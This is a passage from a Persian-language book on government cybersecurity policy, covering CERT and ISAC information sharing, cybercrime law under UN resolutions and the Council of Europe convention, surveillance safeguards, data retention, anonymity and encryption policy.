  .اي قرار دهند ها را بر امنيت رايانه تمركز بيشتر دوره

 يكي ديگر از نقـشهاي مهـم دولـت،          -اشتراك اطلاعات   
اي،   يهاي امنيـت رايانـه    پـذير   اشتراك اطلاعات دربارة آسـيب    

اخطار در مورد ويروسها و حمـلات جديـد، ارائـه پيـشنهادات             
 و الگوهاي سرآمدي    ٧٢هاي امنيتي   وصلهبراي حل مشكلات،    

تواند بودجة مراكز تبـادل اطلاعـات نظيـر           دولت مي . باشد  مي
 و مراكز همكـاري     ٧٣)CERT (ايمركز فوريتهاي امنيت رايانه   
بعنـوان مثـال    . اند را تأمين سازد     كه در سراسر جهان برپا شده     

CERT    ايـالات متحـده در دانـشگاه Carnegie Mellon 
يك مركز تحقيق و توسعة دولتي است كه براي ارائـه كمـك    

اي، انتشار هشدارهاي امنيتي،      به ادارة رخدادهاي امنيت رايانه    
اي، و    مـدت سيـستمهاي شـبكه       تحقيق دربارة تغييـرات بلنـد     
يـة طرحهـاي امنيـت اطلاعـاتي        همچنين آمـوزش نحـوة ته     

 در  CERTبرخي از كشورهاي ديگـري كـه        . كندفعاليت مي 
. آنهــا وجــود دارد عبارتنــد از مــالزي، ژاپــن، اســتراليا و كــره

Mcert       اي براي   يك مركز واكنش به فوريتهاي امنيت رايانه
شركتهاي كوچك و متوسط در آلمان است كه همكاري ميان          

 BITKOM ICTانجمن بخش خصوصي و عمومي را توسط 
گذاري صنعتي و نيز دولـت ايـن        آلمان، هفت پشتيبان سرمايه   

  .سازد كشور برقرار مي

اي و    بتدريج بـراي تبـادل بهتـر اطلاعـات در سـطح منطقـه             
كميسيون . آيند اي، ساختارهاي چندمليتي بوجود مي     فرامنطقه

 يـك معاهـده در خـصوص تقويـت     ۲۰۰۱اروپا در ژوئن سال     
CERT    و مشاركت بهتر اعـضاي اجرايـي آن مركـز           در اروپا

 اين كميسيون گام فراتري نهاد و       ۲۰۰۳در فوريه   . منتشر كرد 
ــه ايجــاد   ســازمان امنيــت شــبكه و تــصميم خــود نــسبت ب

ــات ــود ٧٤اطلاع ــلام نم ــور راهAPEC.  را اع ــدازي   بمنظ ان
CERT محلــي، بــراي آمــوزش داخلــي كــشورها و توســعه 

حـال توسـعة منطقـه      قابليتهاي ايـن مركـز در كـشورهاي در        
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 G8گـروه  .  را تهيه كرد   CERTهاي  مشيپيشقدم شد و خط   
اي از نقاط تماس دائمي ايجاد كـرد تـا همكـاري و             نيز شبكه 

تبادل اطلاعات در زمينة جرائم الكترونيكي تـسهيل شـود؛ و           
تواننـد   نيز مـي   G8غير عضو در گروه       درحال حاضر دولتهاي    

  .در آن مشاركت داشته باشند

ن ترتيب دولتهاي سراسر جهان ممكن است به اشكال        به همي 
مختلــف در بخــش خــصوصي مؤســساتي ايجــاد نمايــد كــه 

انـدازي كننـد؛    سيستمهاي اشتراك داوطلبانة اطلاعـات را راه      
بعنـوان  . ٧٥)ISAC (مراكز اشتراك و تحليل اطلاعات    همچون  

همچـون  (مثال ايالات متحده براي بخـشهاي خـاص صـنعت           
) ش ارتباطـات تلفنـي و صـنعت نيـروي بـرق     خدمات بخـش مـالي، بخ ـ   

ISAC          تأسيس نموده و كشورهايي مثل كانادا، آلمان، ژاپن و 
انگلـستان بـدنبال مفهـوم      . باشـند    مي ISACهلند نيز داراي    

WARPيك شبكه -باشد  مي) هشدار، توصيه و گزارش نكات    (٧٦ 
هـا و هـشدارهاي       سراسري براي تهية بهتر و سريعتر توصـيه       

نيكي، و نيز دريافت كاملتر گزارشهاي حـوادث        حملات الكترو 
  .در آن كشور

تواند براي تبادل بهتـر اطلاعـات امنيتـي         همچنين دولت مي  
بعنـوان نمونـه    . هاي خصوصي و عمـومي ايجـاد كنـد          كميته
 ٧٧)NSTAC (كميتة مشاوران امنيت ملي مخـابرات توان به    مي

اشاره كرد كه متـشكل اسـت از سـي نماينـدة مهـم صـنعت                
اي، شـركتهاي فنـاوري       كنندگان خدمات شبكه    طات، ارائه ارتبا

ــستمهاي   ــي و سي اطلاعــات، و مقامــات مــسئول امنيــت مل
 نيـز مـشاور صـنعتي رئــيس    NSTAC. ارتبـاطي اضـطراري  

جمهور در خصوص مشكلات مرتبط با امنيت ملي و آمـادگي           
  .در شرايط اضطراري در سياستهاي ارتباطي است

  قانون جرائم
تواند از سيـستمهاي بخـش      لت با آن مي   روش ديگري كه دو   

مؤســسات . اســت" قــانون جــرائم"خــصوصي پــشتيباني كنــد 
اند كه هر كـشور بعنـوان         اي پيشنهاد كرده  المللي و منطقه    بين

بخشي از چارچوب قانوني بهبود اعتماد و امنيت فضاي سايبر          
بايد براي مقابله با تخلفاتي كه محرمانگي، يكپارچگي، يـا در           

كننـد، قـوانين خـود را         ها را مخدوش مـي      ن داده دسترس بود 
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قوانين چارچوب اجرايي قانون جرائم متشكل از       . سازگار نمايد 
 اسـت كـه از مفـاهيم حـريم          ٧٩منـد قوانين روال  و   ٧٨موضوعه

خصوصي كه در حوزة فضاي سايبر كاربرد اختـصاصي دارد و           
  .گيرد   نيز از تحقيقات ميداني نشأت مي

المللـي باشـد      ز اولين سازمانهاي بين   شايد سازمان ملل يكي ا    
مجمـع  . كه به اهميت جرائم الكترونيكي اشـاره كـرده اسـت          

ــامبر    ــل در دس ــازمان مل ــومي س ــه ۲۰۰۰عم  ۲۰۰۲ و ژانوي
   را در مــورد مبــارزه بــا   ۱۲۱/۵۶ و ۶۳/۵۵هــاي  قطعنامــه

سوء اسـتفادة تبهكـاران از فناوريهـاي ارتبـاطي بـه تـصويب              
دارد كه كشورها بـراي       بيان مي  ۶۳/۵۵قطعنامة  . رسانده است 

از بين بـردن پناهگـاه امـن بـراي كـسانيكه مرتكـب جـرائم         
عـلاوه بـر    . شوند بايد قوانين ويژه تدوين كنند     الكترونيكي مي 

كنـد كـه دولـت بايـد جهـت             عنوان مـي   ۶۳/۵۵اين قطعنامة   
بـا  (جلوگيري از سوء استفادة تبهكـاران از فنـاوري اطلاعـات            

) هـاي الكترونيكـي   اي جلـوگيري از تبـادل داده    المللـي بـر     همكاري بـين  
 نيـز   ۶۳/۵۵پيـشنهاد قطعنامـة     . اقدامات لازم را انجـام دهـد      

  .آموزش قوانين اجرايي در مورد جرائم الكترونيكي است

  سرپيچي از قوانين موضوعة جرائم

براي ارتكاب جرائم الكترونيكـي روشـهاي مختلفـي متـصور           
يـز نامهـاي متفـاوتي    شكنيهاي مختلـف ن  است، و براي قانون   

وجــود دارد، امــا در مجمــوع، قــوانيني كــه در مــورد جــرائم  
  :گيرندالكترونيكي هستند در يكي از چهار دستة زير قرار مي

بـرداري تعمـدي و غيرمجـاز از        نـسخه : ٨٠ها  دزدي داده  •
تـوان بـه   بعنوان مثال مـي . اي هاي خصوصي رايانه   داده

خاص اشـاره   هاي الكترونيكـي اش ـ   برداري از نامه  نسخه
ايــن قــوانين بــه قــصد حفاظــت از محرمــانگي  . كــرد

تـوان بـه ايـن      در اين مورد مي   . شوند  ارتباطات تهيه مي  
نكته اشاره كرد كه بيشتر نظامهاي قانوني دنيا، رديـابي          

داننـد؛ و ايـن       بدون مجوز مكالمات تلفني را جـرم مـي        
توانـد    تعريف در جهان ارتباطات تلفني مي      مفهومِ خوش 

 .مشابهي در حوزة فضاي سايبر نيز داشته باشدكاركرد 

تخريـب، حـذف، يـا تغييـر تعمـدي و           : ٨١ها  تداخل داده  •
ــاز داده ــران  غيرمج ــة ديگ ــا در رايان ــال  . ه ــثلاً ارس م
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اي   كنند، يا بـه رايانـه       ويروسهايي كه فايلها را حذف مي     
شـوند، يـا بـه يـك          ها مي   نفوذ كرده و باعث تغيير داده     

شــكل ظــاهري آن را تغييــر پايگــاه وب نفــوذ كــرده و 
. شـوند دهند، همه جـزء ايـن دسـته محـسوب مـي             مي

بـراي تمـايز ميـان فعاليتهـاي        " قـصد "شناسايي عنصر   
تبهكارانه و صرفاً اشتباهات معمول و يا ارسال تصادفي         

 .ويروسها بسيار حياتي است

جلوگيري غيرمجاز از فعاليت سيـستم      : ٨٢تداخل سيستم  •
ــه ــدي از ط  رايان ــصورت تعم ــال،  اي ب ــق ورود، انتق ري

ايـن بنـد    . اي  هـاي رايانـه     تخريب، حذف، يا تغييـر داده     
شامل مواردي از قبيل حملات تخريب سرويس يا ورود         

اي كه با كـاركرد طبيعـي       ويروس به يك سيستم بگونه    
عنـصري  "  جدي  آسيب. "شودآن تداخل داشته باشد مي    

است كه فعاليتهاي تبهكارانـه را از رفتارهـاي معمـولي           
نترنتي مثل ارسـال يـك يـا چنـد نامـة الكترونيكـيِ              اي

 .سازد ناخواسته مجزا مي

دسترسي تعمدي و غيرمجاز بـه      : ٨٣دسترسي غيرقانوني  •
ــه  ــستم رايان ــضاي    سي ــه در ف ــر ك ــصي ديگ اي شخ
از يك  . (دانست" تعدي"توان آنرا مترادف      الكترونيكي مي 

شده هاي ذخيره   ديدگاه ديگر، دسترسي غيرقانوني، محرمانگي داده     
هـا    كند و درنتيجه تهديدي بـراي محرمـانگي داده        دار مي را خدشه 

در برخي سيستمهاي حقـوقي تعريـف دسترسـي         ). است
غيرقانوني محدود به موقعيتهايي اسـت كـه اطلاعـات          

ــه  ــالي   (محرمان ــا م ــكي ي ــات پزش ــل اطلاع ــت، ) مث درياف
 .شوند برداري يا مشاهده مي نسخه

اينچنيني منتشر كـرده    شوراي اروپا يك معاهده حاوي نكات       
 معاهدة شوراي اروپـا در مـورد تخلفـات          ۵ تا   ۲بندهاي  . است

الكترونيكي، چهار مورد را بعنوان جرائم اساسـي الكترونيكـي          
با اين وجـود ايـن مـوارد در خـود معاهـده بطـور               . برد  نام مي 

توانند فعاليتهاي مختلفـي را     اند و مي    مفصل توضيح داده شده   
اهده داراي گزارشي توصيفي است كه بـه        اين مع . در بر گيرند  

 اين معاهده دولتها را به مقابلـه        ۲بند  . كند  تعبير آن كمك مي   
دسترسي تعمدي و غيرمجاز به تمـام يـا بخـشي از           (اي    با جرائم رايانه  

در ظاهر، اين ماده افرادي را كـه        . خواند  فرا مي ) اي  سيستم رايانه 
شـمارد،    د مجرم مي  نماين  نامة الكترونيكي ناخواسته ارسال مي    
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و يـا  (كننـده     چراكه فرستندة آن بدون اجازه به رايانـه دريافـت         
. دسترسـي پيـدا كـرده اسـت       ) هـاي پـستي گيرنـده       دهنده  سرويس

براساس اين تفـسير، معاهـدة شـوراي اروپـا در مـورد جـرائم          
همـان  " بدون اجـازه  "سازد كه منظور از       الكترونيكي روشن مي  

ترنـت اسـت كـه بطـور روزمـره      فعاليتهاي معمول و ذاتـي اين    
ــي  ــاق م ــواره در آن اتف ــه هم ــال نام ــثلاً ارس ــد؛ م ــاي افت ه

الكترونيكي، دسترسي بـه صـفحات وب از طريـق ارتباطـات            
هـا يـا    cookie، و همچنـين اسـتفاده از        ٨٤فرامتنمستقيم يا   

bot آوري اطلاعات اشاره كرد ها براي جمع.  

  شده توسط رايانه جرائم تسهيل

تنها شامل فعاليتهايي است كه فرد متخلـف         نه اي  جرائم رايانه 
دهد، بلكه جرائمي كه با اسـتفاده از          ها انجام مي    بر عليه رايانه  

بعنـوان مثـال    . گيـرد   شوند را نيز در بـر مـي         رايانه تسهيل مي  
سرقت و كلاهبرداري جرائمي هستند كه در دنيـاي خـارج از            

. گيرند  اينترنت در تمامي نظامهاي حقوقي مورد بحث قرار مي        
امــا ســرقت و كلاهبــرداري در دنيــاي اينترنــت نيــز صــورت 

به همين ترتيب تخلفاتي همچون سرقتهاي ادبـي و         . گيرد  مي
فكري يا انتشار تصاوير مبتذل از كودكان نيز محدود به جرائم   

شوند، بلكه تخلفاتي هـستند كـه بـا اسـتفاده از              اي نمي   رايانه
رد، مجازاتهـاي جـرائم     در بسياري موا  . شوند  رايانه تسهيل مي  

تحليـل دقيـق    . شوند  موجود، براي جرائم اينترنتي نيز اجرا مي      
عوامل مختلف اينگونه جرائم مستلزم بررسي تطبيقي قـوانين         
جنايي موجود در حوزة جرائم فضاي سـايبر اسـت، و در ايـن              

اي و جرائمي كـه       راستا قائل شدن تفاوت ميان تخلفات رايانه      
  .باشد شوند نيز ضروري ميتوسط رايانه تسهيل مي

 معاهدة شوراي اروپـا از ايـن مفهـوم فاصـله            ۱۰ تا   ۷هاي    بند
كنـد    تر در مورد جرائمي صـحبت مـي       گيرد و بصورت كلي   مي

كه در آنها از يك رايانه بمنظور تسهيل انجام آنچه كه خـارج             
كارهـايي  (پـردازد   شود مـي    از فضاي اينترنت نيز جرم تلقي مي      

ري، توزيع، توليد يا داشتن تصاوير مبتذل از كودكان         چون جعل، كلاهبردا  
ممكن است در برخي نظامهاي     ). و نقض حقوق پديدآورندة يك اثر     

حقوقي، بكارگيري ضوابط خاص براي جرائمـي كـه بوسـيلة           
همچنـين ممكـن    . شوند غيرضـروري باشـد    رايانه تسهيل مي  

چنـدان  است اين قـوانين بـا درنظـر گـرفتن مجازاتهـاي نـه              
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شده در فضاي سـايبر را بـدتر از جـرائم           ، جرائمِ انجام  متناسب
  .مشابه دنياي واقعي جلوه دهند

  اي قانون جزاكاربرد مفاهيم پايه

كشورها ممكن است بخواهند مفاهيم معمول در قوانين جرائم      
را نيــز در حــوزة جــرائم " قـصد "يــا " معاونــت در جــرم"ماننـد  

صـورتيكه قـانون    بنـابراين در  . الكترونيكي مد نظر قرار دهنـد     
را تعريـف كـرده باشـد، در        " قصد تخلف "جرائم عادي مفهوم    

. توان همان مفهوم را بكار برد     مورد جرائم الكترونيكي نيز مي    
بعنوان مثال فرستادن يك ويروس به قصد تخريب سـرويس          

مطـرح  " قصد انجام جرم  "و يا   " جرم"ممكن است تحت عنوان     
بـه  .  عمـل نكنـد     درسـتي   شود؛ حتي درصورتيكه ويروس بـه     

را " معاونـت در جـرم    "همين ترتيب درصورتيكه قوانين مفهوم      
توان از  تعريف كرده باشند، در حوزه جرائم الكترونيكي نيز مي        

اي كـه مـثلاً اگـر كـسي         همان تعاريف استفاده كـرد، بگونـه      
بصورت عمدي يك ويروس توليد كنـد، حتـي اگـر ويـروس             

شـد، بـاز هـم      توسط شخص ديگـري بـه شـبكه راه يافتـه با           
شخص توليدكننـده در قبـال خرابيهـايي كـه آن ويـروس در              

  .شودكند مقصر شناخته ميها و شبكه ايجاد ميداده

  حفاظت از حريم خصوصي

توجه به جرائم الكترونيكي غالباً منجر به پديد آمدن سؤالاتي          
شود، مثلاً اينكه ضوابطي كه دولت بـر مبنـاي آنهـا حـق              مي

اي را پيـدا      هاي رايانه   الكترونيكي و داده  دسترسي به ارتباطات    
توانند شـواهدي بـر انجـام جـرائم         هايي كه مي   داده -كند  مي

 كدامند؟ بسياري از    -الكترونيكي و انواع ديگر تخلفات باشند       
دهـد  كشورها روالهايي قانوني دارند كه به دولـت اجـازه مـي           

لهـا  ايـن روا  . ها را بررسـي كنـد       شده در رايانه  اطلاعات ذخيره 
ــراي بررســي داده  هــاي  ممكــن اســت دســتورات قــضايي ب

ها و    شده و يا حكم تصرف و انجام تحقيقات روي رايانه          ذخيره
همچنين بسياري از كـشورها اجـازه       . اي باشند   هاي رايانه   داده

 كــه -هــاي انتقــالي را   ارتباطــات و داده٨٥رديــابي بلادرنــگ
 بخـش   .دهنـد  مـي  -نشاندهندة مبدأ و مقصد ارتباطات است       

مهمي از معاهدة شوراي اروپـا در مـورد جـرائم الكترونيكـي،             
كنـد كـه بـراي تحقيـق و رديـابي اسـناد              دولتها را ملزم مـي    
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اي به    اي، رديابي ارتباطات، و گزارش هر نوع ثبت رايانه          رايانه
  .دولت از قوانين ويژه استفاده كنند

 هـا و    شـده در رايانـه    هـاي ذخيـره     گزارشگيري اجباري از داده   
هاي انتقالي توسـط دولـت منجـر بـه            رديابي ارتباطات و داده   

شود و درنتيجه نياز به استفاده        نقض حريم خصوصي افراد مي    
. گــردداز روالهــاي محــافظتي بــيش از پــيش احــساس مــي 

هاي خود در مورد امنيـت      مشي در خط  OECDهمانگونه كه   
معيارهـاي  : "كنـد   ها و سيستمهاي اطلاعاتي اظهار مـي        شبكه

سازي شوند كه در راستاي ارزشهاي اي پياده   نيتي بايد بگونه  ام
شـده از طـرف جوامـع دموكراتيـك از جملـه آزادي             مشخص

ها، جريان آزاد اطلاعـات، محرمانـه بـودن           تبادل افكار و ايده   
اطلاعات و ارتباطات، حفاظت مناسب از اطلاعات شخصي، و         

دارد كه     مي كميسيون اروپا اينگونه اظهار   ." شفافيت قرار گيرند  
حفاظت از حريم خصوصي سياست اصلي اتحاديه اروپا اسـت          

 معاهدة اروپا در مورد حقـوق بـشر نيـز           ۸و اين مسئله در بند      
منـشور حقـوق     ۸ و   ۷همچنين بنـدهاي    . مشخص شده است  

 احتـرام بـه حقـوق خـانواده و زنـدگي            ٨٦اساسي اتحادية اروپا  
. نمايـد   هاي شخصي را عنوان مـي       شخصي و ارتباطات و داده    

حـد و مـرز      در جوامع درحال توسعه و درحال گذار، نظارت بي        
تواند مفهوم اعتماد در دنيـاي اينترنـت را كـاملاً از              دولتها مي 
  .بين ببرد

، همانطور كه )۲۰۰۰دسامبر ( سازمان ملل  ۶۳/۵۵طبق قطعنامة   
هـاي    كشورها بـراي انجـام تحقيقـات روي ارتباطـات و داده           

رسانند، بايد از آزاديهاي فـردي      ويب مي اي قانون به تص     رايانه
 ۱۹۹۰در سـال    . و حريم خصوصي نيز محافظت بعمل آورنـد       

هشتمين كنگرة سازمان ملـل بـراي جلـوگيري از تخلفـات و             
برخورد با متخلفـين، در مـورد اسـتفاده از روشـهاي ارزيـابي،              

المللـي در شناسـايي جـرائم         قوانين روشن و همكاريهاي بـين     
، ۱۹۹۵در ســال . اداتي را مطــرح ســاختالكترونيكــي پيــشنه

سازمان ملل راهنماي پيشگيري و كنتـرل جـرائم مـرتبط بـا             
اي از  اين سند مفصل طيـف گـسترده      . رايانه را به چاپ رساند    

موضوعات مرتبط با جرائم فناوري را طرح كرده بود، از جملـه       
المللـي،    مند، قوانين موضـوعه، همكاريهـاي بـين       قوانين روال 
  .ها، امنيت، و نيز حريم خصوصي ادهحفاظت از د
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كند كه  در همين راستا معاهدة شوراي اروپا صراحتاً عنوان مي        
شـده تـا حـدي    هاي ذخيـره  نظارت بر ارتباطات و بررسي داده   

مجاز است كه طبق تعريف حريم خصوصي در منشور حقـوق           
ــد  ــرا نقــض نكن ــايي آن ــشر اروپ ــد . ب ــرائم ۱۵بن ــدة ج  معاه

  : زير استالكترونيكي حاوي نكات

هر سازمان بايد اطمينان حاصل كنـد كـه بـه تـدوين،              .۱
سازي و كـاربرد ايـن روالهـا در ضـوابط و قـوانين               پياده

 كه براي تأمين حفاظـت مناسـب از حقـوق و            -محلي  
آزاديهاي بشر، از جمله حقوق مذكور در مقـررات سـال           

 كنوانسيون شوراي اروپا براي حفظ حقوق بـشر،         ۱۹۵۰
 ساير ابزارهاي حمايت از حقوق بشر       آزاديهاي اساسي و  

 . توجه لازم كرده است-اندالمللي، تهيه شده بين

اين ضوابط بايد به همان اندازه كه طبيعت آنها ايجـاب            .۲
كند نظارتهاي قضايي و ساير نظارتهـاي مـستقل را          مي

در بر بگيرند، باعث تنظـيم كاربردهـا شـوند، و اسـباب             
 روالها را فـراهم     اي و زماني  كاهش محدوديتهاي دامنه  

 .آورند

  استانداردهاي نظارت

معاهدة شوراي اروپا روالهاي نظارتي خاصـي كـه مـرتبط بـا             
سـازد، بلكـه در       منشور حقوق بشر اروپا باشد را مشخص نمي       

كه ذيلاً خلاصه شده    (تصميمات دادگاه اروپا در مورد حقوق بشر        
قـوانين نظـارت كـشورهايي همچـون كانـادا و ايـالات             ) است
 كه روالهاي قوي و مستقل در قضاوت و حفاظت از           -ده  متح

در جوامـع درحـال     . شـود    ديـده مـي    -حريم خصوصي دارنـد     
توسعه و درحال گذار كه در آنهـا قـوانين مـشخص و تعريـف        

اي در مورد تحقيق، تصرف و نظارت بر دنيـاي خـارج از               شده
هــاي  اينترنــت نيــز وجــود نــدارد، لازم اســت كــه در زمينــه 

 به توسعة استانداردهاي قوي تحت نظارت دولـت         الكترونيكي
  .توجه جدي شود

در بسياري از نظامهاي پيشرفتة حقوقي دنيا، رديابي ارتباطات         
الكترونيكي مجاز است، اما تحت استانداردهاي روشن قانوني؛        
و البته باز هم براي آن به دلايل كافي نياز است، كه اين امـر               

  .باشد ناي تصديق قاضي ميدر نظامهاي حقوقي معمولاً به مع

پردازنـد  ها مي   دولتهايي كه به مباحث رديابي و دسترسي داده       
بايد به استانداردهاي اجرايي دسترسي دولـت بـه ارتباطـات و      
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المللـي،    تجربيـات بـين   . اي توجه داشته باشـند      هاي رايانه   داده
ــدي د  ــاي مفي ــستند  راهنم ــوع ه ــن موض ــاس  . ر اي ــر اس ب

توانند رديابي  المللي، روشهاي زير مي     استانداردهاي ملي و بين   
  :قانونمند ارتباطات را ممكن سازند

استانداردهاي رديابي شفاف و قوانين در دسترس عموم         •
باشند؛ و بطور كامـل، بـصورت شـفاف و بـا موشـكافي              
لازم، شهروندان را از چگونگي و شـرايط نظـارت آگـاه            

 سازند؛

م مستقل تأييد رديابي بصورت كتبي و از طريق يك مقا        •
صورت گيـرد و بـر اسـاس تقاضـاي          ) ترجيحاً يك قاضـي   (

كتبي و ارائه دلايل و اسناد معتبر و قابـل قبـول انجـام              
 شود؛

نظارت تنها محـدود بـه بررسـي درگيريهـاي جـدي و              •
 خاص باشد؛

ة   تأييد تنها درصورت وجود دلايل قـوي كـه نـشاندهند           •
 لزوم انجام تحقيق درباره تخلفات است صورت پذيرد؛

أييد رديابي تنها در مواردي انجام گيرد كه اسـتفاده از           ت •
 ساير فنون براي كسب اطلاعات كافي نباشد؛

 نظر قـرار بگيرنـد بـا         اشخاص و مواردي كه بايد تحت      •
جزئيات كامل مشخص شوند و در اين خـصوص مـوارد           

 كلي به هيچوجه قابل قبول نباشند؛

باطات اعـم  با تمامي ارت  (ضوابط از نظر فناوري خنثي باشند        •
از تلفني، تصويري، داده خطوط سـيمي يـابي سـيم، ديجيتـال يـا                

 ؛)آنالوگ، به يك شكل برخورد شده باشد

زمان انجام نظارت محدود باشد و در هـيچ         حوزه و مدت   •
تر از زمان لازم بـراي كـسب اطلاعـات        موردي طولاني 
 مورد نظر نباشد؛

 نظارتها به طريقي انجام گيرد كه حداقلِ نقـض حـريم           •
 خصوصي را در پي داشته باشد؛

قوانين، كاربرد اطلاعـات حاصـل از رديـابي را توضـيح             •
داده باشند؛ و آن اطلاعات براي اهـداف ديگـري بكـار            

 نروند؛

قانون روالهاي صـدور حكـم بـراي مـتهم را مـشخص            •
 كرده باشد؛

قانون معين كند كه تمامي افرادي كـه تحـت بررسـي             •
 پس از پايان    -حاصله   مستقل از نتيجة     -گيرند  قرار مي 

 كار بايد از انجام بررسيها مطلع شوند يا نه؛ و

چنانچه طبـق اسـتانداردها حـريم خـصوصي كـسي در             •
جريان انجام عمليات رديابي مـورد تجـاوز قـرار بگيـرد،       

 .طبق قانون، جبران كلية خسارتهاي وارده الزامي باشد

بسياري از ايـن مـوارد در جريـان تحقيـق و هنگـام تـصرف                
  .روند اي بكار مي هاي رايانه مل اجراي قانون در دادهعوا

  ها و ساير احكام دولت نگهداري داده

ضوابط ) از جمله ايالات متحده   (يافته  تعدادي از كشورهاي توسعه   
اند و در بعضي  خاصي را در مورد تلفنهاي معمولي اعمال كرده 

 بايـد كليـة     ٨٧)هـا ISP (خدمات اينترنتي كنندگان  ارائهكشورها  
 بر   علاوه. هاي ارتباطي را تحت نظارت دولت قرار دهند         بكهش

اين برخي از كشورها درصدد تصويب قوانيني هستند كـه بـر            
هـاي   كنندگان خدمات ملزم بـه نگهـداري داده     مبناي آن ارائه  

باشند   ترافيكي در تمامي ارتباطات براي يك حداقل زماني مي        
ايـن ضـوابط    ). شود  ق مي اطلا" ها  نگهداري داده "اي كه به آن     ضابطه(

انگيز بوده و بـه علـت تهديـد حـريم خـصوصي           بربسيار بحث 
هاي قابل ملاحظه     ها و تحميل هزينه     شهروندان، امنيت شبكه  

بررسـي  . انـد  كنندگان خدمات، مورد انتقاد قـرار گرفتـه       بر ارائه 
با ايـن  . كاملتر ضوابط نظارت، فراتر از مباحث اين كتاب است       

است كـه معاهـدة شـوراي اروپـا در مـورد            وجود لازم به ذكر     
كنندگان خـدمات، اسـتانداردهاي       تخلفات الكترونيكي، به ارائه   

ايـن  . كنـد   هـا را تحميـل نمـي        فني و الزامات نگهـداري داده     
معاهده تنها روالهايي براي نگهداري، دسترسـي يـا دسـتيابي           

كنـد و از فنـاوري موجـود در           هـاي تجـاري ارائـه مـي         داده  به
ايـن امـر نيازمنـد تغييـر فنـاوري يـا           . بـرد   ره مـي  شركتها به ـ 

 دربـارة   ۲۰۰۲اتحادية اروپا در سال     . فعاليتهاي تجاري نيست  
مسائل خـصوصي در حـوزة ارتباطـات دسـتورالعملي منتـشر            
ساخت كـه بـه كـشورهاي عـضو اجـازة اسـتفاده از وسـايل                

ــه اينكــار   هــا را مــي نگهــداري داده ــزم ب ــا آنهــا را مل داد، ام
  .ساخت نمي
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  ٨٨مناميگ

معاهدة شوراي اروپا در مورد تخلفات الكترونيكي، حـق مهـم           
حـق  : ديگري را در مورد حريم خصوصي مشخص كرده است        

گـزارش تفـسيري ايـن      . ٨٩برقراري ارتباطات بصورت گمنـام    
كننـدگان خـدمات توقـع        سازد كه از ارائه     معاهده مشخص مي  

 بنـابراين بـه   . نگهداري و ثبت نـام مـشتركين خـود را نـدارد           
كننـدگان خـدمات ملـزم بـه ثبـت            موجب اين معاهـده، ارائـه     

اطلاعات هويتي و تصديق هويت مشتركين و يا مقاومـت در           
شـوراي  . باشند  برابر استفاده از نام مستعار توسط كاربران نمي       

اي را در مــورد آزادي ارتباطــات   بيانيــه۲۰۰۳اروپــا در ســال 
افـزايش  بمنظـور   : "اينترنتي با اين مضمون بـه چـاپ رسـاند         

ها، كشورهاي عضو بايـد بـه ايـدة           انتشار آزاد اطلاعات و ايده    
عـلاوه بـر ايـن،      ". كاربران احترام بگذارند و نـه هويـت آنـان         

 انجام فعاليت بصورت گمنام را      ۲۰۰۱كميسيون اروپا در سال     
اي در مـورد نحـوة ايجـاد          به رسميت شناخت و با انتشار بيانه      

هـاي بـسياري از       گونـه : "شتتر اظهار دا    جامعة اطلاعاتي امن  
مكانيزمهاي تأييد براي نيازهاي مختلف ما در محيطي كه بـا           

در بعضي محيطهـا ممكـن اسـت        . آن تعامل داريم لازم است    
." لازم باشــد يــا تــرجيح داده شــود كــه گمنــام بــاقي بمــانيم

اي سـال   كميسيون اروپا در مطالعـات شـبكه و امنيـت رايانـه       
 در شبكه نيـز بايـد       ٩٠ هويت تصديق خود، اظهار داشت     ۲۰۰۱

امكان گمنام ماندن را داشته باشد، همانطور كه در بسياري از           
  ."خدمات نيازي نيست هويت كاربر مشخص شود

  رمزگذاري

.  ابزاري مفيد براي حفظ امنيت در اينترنت اسـت         ٩١رمزگذاري
: ، متـذكر شـد    ۲۰۰۱همانطور كـه كميـسيون اروپـا در سـال           

ذاري بـويژه بـا رشـد ارتباطـات         استفاده از فناوريهـاي رمزگ ـ    "
بـا توجـه بـه ايـن امـر، رونـد كلـي              ". سيم ضروري اسـت     بي

سياستهاي ملي در خصوص رمزگذاري بايـد قـوانين محـدود           
در . كنندة كاربرد رمزگـذاري را حـذف كنـد يـا كـاهش دهـد       

يافتـه كـه در گذشـته بـدنبال         سالهاي اخير، كشورهاي توسعه   
ه رسـيدند كـه در حالـت        كنترل رمزگذاري بودند به اين نتيج     

سياسـت  . شـود كلي رمزگـذاري باعـث افـزايش امنيـت مـي          
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ــذاري در خــط ــشيرمزگ ــاي ســال م  و در OECD ۱۹۹۷ه
 از دسترسـي نامحـدود      ۱۹۹۸گزارش كميسيون اروپا در سال      

  .كندبه محصولات و خدمات رمزگذاري به شدت حمايت مي

فنلانـد   كشورهاي كانادا، آلمان، ايرلنـد و  ۱۹۹۰در اواخر دهة    
 OECDسياستهاي ملي رمزنگاري را بر اساس راهبردهـاي         

تهيه كردند، تا به استفادة رايگان از رمزگـذاري كمـك كـرده             
ــند ــابقه . باش ــه س ــسه ك ــدودكردن  فران ــولاني در مح اي ط

 اين سياست را كـاملاً      ۱۹۹۹رمزگذاري داشت در ژانويه سال      
محـدويت  تواند بدون     تغيير داد و اعلام كرد كه رمزگذاري مي       

 خـود   ۱۹۹۴، بلژيك قانون سال     ۱۹۹۷در دسامبر   . انجام شود 
ايـالات  . در خصوص محدوديت رمزگـذاري را اصـلاح نمـود         

متحده كه رمزگذاري را با محدود كردن تجارت محصولات و          
خدمات رمزگذاري محدود كرده بود، تمامي محدوديتهاي اين        

  . رفع كرد۲۰۰۰محصولات را در سال 

  اريقانون و قانونگذ
انـد    در بسياري از كشورها سياستگذاران به اين نتيجه رسـيده         

كه فشار بازار مصرف به تنهايي براي كاهش مـؤثر تهديـدات         
امنيت الكترونيكي كافي نيست و همانطور كه كميسيون اروپا         

باشـد،  يادآور شد دخالت دولت نيز در اين مسئله ضروري مـي          
توجـه لازم بـه     چراكه بازار مصرف انگيزة كـافي بـراي بـذل           

قيمتهاي بازار همـواره بازتـاب      : كندمقولة امنيت را ايجاد نمي    
گـذاري بـر روي امنيـت نيـست؛ و            دقيق سود و زيان سرمايه    

كننـدگان هيچكـدام    معمولاً نـه توليدكننـدگان و نـه مـصرف         
تـوجهي بـه    تواننـد تمـام پيامـدهاي ركـود ناشـي از بـي             نمي

ف ديگـر كنتـرل بـر    معيارهاي امنيتي را تحمل كننـد؛ از طـر       
هـا،    اينترنت پراكنده است و با درنظر گرفتن پيچيدگي شـبكه         

بـسياري  . باشدارزيابي خطرات بالقوه براي كاربران مشكل مي 
از زيرساختهاي حياتي كه وابستگي شديدي بـه سيـستمهاي          

 نظيــر -اي طــولاني از قــوانين اي دارنــد، از تاريخچــه رايانــه
